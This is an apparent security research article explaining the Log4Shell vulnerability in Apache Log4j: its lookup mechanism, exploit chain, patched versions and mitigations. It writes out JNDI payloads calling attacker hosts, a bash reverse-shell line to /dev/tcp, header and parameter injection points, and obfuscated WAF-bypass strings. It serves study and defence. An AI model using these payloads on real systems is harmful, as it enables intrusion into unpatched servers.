Research / Log4Shell (CVE-2021-44228): як одна рядок коду зламала інтернет
RESEARCH
UA EN

Log4Shell (CVE-2021-44228): How One Line of Code Broke the Internet

✍ admin 📅 15.06.2026 👁 133

Preface

On December 9, 2021, security researcher Chen Zhaojun from Alibaba Cloud published a PoC for CVE-2021-44228 in Apache Log4j — the most widely used Java logging library. Within 72 hours, hundreds of threat actor groups began mass exploitation. Cloudflare recorded over 1 million exploitation attempts on the first day alone.

CVSS Score: 10.0 / Critical


What Is Log4j and Why Is It Everywhere

Apache Log4j 2 is a logging library for Java. It's used in virtually every Java project: from Minecraft servers to Cisco, VMware, Elasticsearch, Apple iCloud systems, and thousands of other products.

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class App {
    private static final Logger log = LogManager.getLogger(App.class);

    public static void main(String[] args) {
        String userInput = args[0];
        log.info("User connected: {}", userInput);  // vulnerable line
    }
}

The Vulnerability Mechanism

Log4j supports Message Lookup — the ability to substitute dynamic values in log strings using the ${prefix:name} syntax.

Legitimate examples:

${java:version}   → Java version 11.0.13
${env:HOME}       → /home/user
${sys:os.name}    → Linux

One of the supported lookups is JNDI (Java Naming and Directory Interface) — a mechanism for looking up resources in network directories.

Vulnerable lookup:

${jndi:ldap://attacker.com/exploit}

When Log4j encounters this string during logging, it automatically makes an LDAP request to attacker.com and downloads a Java class from the response. That class executes on the victim's server.

Exploit Chain

1. Attacker sends payload in any field that gets logged:
   User-Agent: ${jndi:ldap://attacker.com:1389/exploit}

2. Server logs the request via Log4j:
   log.info("User-Agent: {}", userAgent);  // triggers JNDI lookup

3. Log4j makes an LDAP request to attacker.com:1389

4. Attacker's LDAP server responds with a reference to a Java class:
   javaClassData: malicious.Exploit (at attacker.com:8888)

5. Victim's JVM downloads and executes malicious.Exploit:
   Runtime.getRuntime().exec("bash -c 'bash -i >& /dev/tcp/attacker/4444 0>&1'");

6. Attacker receives a reverse shell

Where to Insert the Payload

Any field that ends up in logs:

GET / HTTP/1.1
Host: victim.com
User-Agent: ${jndi:ldap://ATTACKER:1389/x}
X-Forwarded-For: ${jndi:ldap://ATTACKER:1389/x}
X-Api-Version: ${jndi:ldap://ATTACKER:1389/x}
Authorization: Bearer ${jndi:ldap://ATTACKER:1389/x}
Referer: ${jndi:ldap://ATTACKER:1389/x}

Query parameters:

https://victim.com/login?username=${jndi:ldap://ATTACKER:1389/x}

JSON body:

{"username": "${jndi:ldap://ATTACKER:1389/x}"}

WAF Filter Bypasses

WAF filters tried to block ${jndi:, but bypasses appeared quickly:

# Nested lookups
${${lower:j}ndi:ldap://attacker.com/x}
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/x}

# upper/lower obfuscation
${${upper:j}ndi:${upper:l}dap://attacker.com/x}

# Via env lookup
${${env:NaN:-j}ndi:${env:NaN:-l}dap://attacker.com/x}

# Comment substitution
${j${::-}ndi:ldap://attacker.com/x}

# Unicode
${j${lower:n}di:ldap://attacker.com/x}

Checking for Vulnerability

DNS callback (safest method)

# 1. Get a unique URL on interact.sh or Burp Collaborator
# 2. Embed it in the payload
payload='${jndi:ldap://UNIQUE.interactsh.com/test}'

# 3. Send to all fields and wait for DNS callback
curl -H "User-Agent: ${payload}" https://victim.com/

Tools

# log4j-scan — automated scanning
python3 log4j-scan.py -u https://victim.com

# Nuclei template
nuclei -u https://victim.com -t cves/2021/CVE-2021-44228.yaml

Real-World Attacks (2021–2022)

  • Cryptominers — first mass attacks within hours of disclosure
  • Cobalt Strike — deploying C2 agents on vulnerable servers
  • Ransomware — Conti, Khonsari groups began using it within a week
  • APT groups — Iranian (Charming Kitten), Chinese, North Korean actors
  • Lazarus (DPRK) — attacks on aerospace and defense companies

Vulnerable Versions and Patches

Log4j Version Status
2.0-beta9 – 2.14.1 VULNERABLE (CVE-2021-44228)
2.15.0 Partial fix (still vulnerable in some configs)
2.16.0 CVE-2021-44228 fixed, but has CVE-2021-45046
2.17.0 Fully patched
2.17.1+ Recommended version
1.x End-of-life, has its own vulnerabilities

Version check:

find / -name "log4j*.jar" 2>/dev/null
find / -name "*.jar" -exec jar tf {} \; 2>/dev/null | grep log4j

Temporary mitigation (if upgrade isn't possible):

# JVM argument (Log4j 2.10+)
-Dlog4j2.formatMsgNoLookups=true

# Environment variable
LOG4J_FORMAT_MSG_NO_LOOKUPS=true

# Remove JndiLookup class from jar
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Conclusions

Log4Shell exposed three systemic problems: 1. Supply chain: one library in thousands of products → multiplicative effect 2. Feature creep: lookup interpolation in logs — an unnecessary feature with catastrophic consequences 3. Patch lag: even a month after disclosure, millions of servers remained vulnerable

Lesson for developers: never make network requests when processing arbitrary strings from external sources.

References

Коментарі (0)
Увійди, щоб залишити коментар.
Коментарів поки немає.
Вперше тут?
Новачок на Bastion?
Почни з гайду користувача.
Відкрити гайд →
?